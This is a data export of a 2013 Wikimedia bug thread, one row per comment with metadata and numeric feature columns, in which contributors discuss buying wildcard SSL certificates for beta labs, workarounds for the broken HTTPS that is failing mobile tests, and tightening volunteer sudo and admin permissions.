Apparently the sudo policies are set up at https://wikitech.wikimedia.org/wiki/Special:NovaSudoer. It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?

> 3. Buy * certs

Good to hear that's in progress.",,,1383677201,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,9,True,3.0,0.0,0.0,0.5,2.0,5.0,1.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,2.5,0.0,5.0,10.0,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,6.5,1.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,11.0,1.0,0.5,8.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,7.0,10.0,2.5,1.5,1.0,0.0,7.0,0.0,1.0,0.5,0.5,1.5,0.0,0.5,0.0,3.780245470485096,0.7776154295733488,"QUOTE

I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.

QUOTE
QUOTE

Apparently the sudo policies are set up at URL It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?

QUOTE

Good to hear that's in progress."
227360,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
> Summary of IRC conversation:
> 
> 1. Remove projectadmin permissions from volunteers

{{DONE}}, see list of members at: https://wikitech.wikimedia.org/wiki/Nova_Resource:Deployment-prep

> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?

> 3. Buy * certs

In progress: https://rt.wikimedia.org/Ticket/Display.html?id=6116",,,1383162153,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,9,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,10.0,10.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0338983050847457,0.6779661016949152,"(In reply to comment #46)
QUOTE
QUOTE
QUOTE

{{DONE}}, see list of members at: URL

QUOTE
QUOTE

Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?

QUOTE

In progress: URL"
227355,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So I took the bug thinking the cert was blocking everything, however that is not the case.

I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]

We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well.",,,1383072339,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,2.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,9.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,10.0,10.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8658536585365852,0.7439024390243902,"So I took the bug thinking the cert was blocking everything, however that is not the case.

I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]

We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well."
227351,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,unassigning from Ryan to reflect reality.,,,1383070552,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.142857142857143,1.0,unassigning from Ryan to reflect reality.
227345,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
> 2. Clean up sudo policies to disallow root on varnish systems (that will have
> real certs)

I assume this means that non-admins should not have sudo on these machines?",,,1383070383,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3793103448275863,0.9310344827586207,"(In reply to comment #46)
QUOTE
QUOTE

I assume this means that non-admins should not have sudo on these machines?"
227338,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #58)
> Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need
> to be taken, and they can be taken by anyone that has projectadmin in
> deployment-prep. Someone needs to take ownership of this situation and run
> with it.

I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI.",,,1383070340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,21.0,5.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,7.0,9.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.116279069767442,0.7209302325581395,"(In reply to comment #58)
QUOTE
QUOTE
QUOTE
QUOTE

I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI."
227330,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Secure login is disabled,,,1383070174,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Secure login is disabled
227322,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all.",,,1383069987,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,3.5925925925925926,0.9629629629629629,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all."
227316,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.

Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so.",,,1383069913,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,1.5,0.0,2.5,1.0,2.5,0.0,0.0,0.5,0.5,2.0,1.0,0.0,0.0,1.0,2.5,0.0,4.0,10.0,1.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,6.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,2.5,0.5,0.0,0.0,0.5,0.0,9.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,6.5,0.5,3.5,6.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.5,10.0,2.0,0.0,0.0,0.0,5.5,0.0,1.0,1.5,1.0,1.0,0.0,0.0,0.0,3.7075471698113205,0.8584905660377359,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.

Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so."
227311,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.,,,1383069706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,2.0,2.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,15.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.975,0.9,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.
227304,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.,,,1383069532,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,14.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,23.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.
227299,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #54)
> Although I have no idea why the HTTP version doesn't load.

It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?",,,1383017052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.4857142857142858,1.0,"(In reply to comment #54)
QUOTE

It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?"
227294,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.

And no we can't not use https:
http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
Although I have no idea why the HTTP version doesn't load.",,,1383006331,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,8.0,6.0,4.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8333333333333334,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.

And no we can't not use https:
URL
Although I have no idea why the HTTP version doesn't load."
227291,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
Should be Real Soon Now: https://bugzilla.wikimedia.org/show_bug.cgi?id=55804",,,1381967050,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,62.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"
Should be Real Soon Now: URL"
227288,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #51)
> I guess the first part of my comment is redundant with what you already know.
> Mostly, I wanted to convey that our automation testing is broken, in case
> that
> affects prioritizing.

Is it possible for now to not use https? That's what other projects have done for now to workaround the issue.",,,1381966770,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,15.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.341463414634146,0.7560975609756098,"(In reply to comment #51)
QUOTE
QUOTE
QUOTE
QUOTE

Is it possible for now to not use https? That's what other projects have done for now to workaround the issue."
227283,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing.",,,1381966629,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.228571428571429,0.8571428571428571,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing."
227279,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #49)
> Currently getting a cert warning when trying to go to:
> https://deployment.wikimedia.beta.wmflabs.org/
> This is breaking our automation tests for mobile.

Heh. Did you read the ticket any before posting this? :)",,,1381966170,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,7.0,0.0,4.0,4.0,4.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.8571428571428571,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE

Heh. Did you read the ticket any before posting this? :)"
227277,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Currently getting a cert warning when trying to go to:
https://deployment.wikimedia.beta.wmflabs.org/
This is breaking our automation tests for mobile.",,,1381965216,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,13.0,0.0,0.0,0.0,4.0,0.9130434782608695,"Currently getting a cert warning when trying to go to:
URL
This is breaking our automation tests for mobile."
227274,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It's going to be an all-inclusive * cert for beta.,,,1381438407,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,2.9285714285714284,1.0,It's going to be an all-inclusive * cert for beta.
227269,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,please don't forget about wikidata.beta.wmflabs.org,,,1381437836,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.833333333333333,1.0,please don't forget about wikidata.beta.wmflabs.org
227264,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Summary of IRC conversation:

1. Remove projectadmin permissions from volunteers
2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
3. Buy * certs

Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA.",,,1381437765,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,11.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,4.112903225806452,0.7419354838709677,"Summary of IRC conversation:

1. Remove projectadmin permissions from volunteers
2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
3. Buy * certs

Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA."
227260,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 merged by jenkins-bot:
Labs: Turn off secure login on loginwiki due to untrusted SSL

https://gerrit.wikimedia.org/r/87045",,,1381250687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,22.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.130434782608695,0.9565217391304348,"Change 87045 merged by jenkins-bot:
Labs: Turn off secure login on loginwiki due to untrusted SSL

GERRIT_URL"
227254,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #42)
> (In reply to comment #40)
> 
> > I'm still not opposed to getting a proper cert, but that requires some
> > infrastructure and permissions changes in deployment-prep...
> 
> Since we've been going around on this since May, what would be the next step
> to
> make that happen?

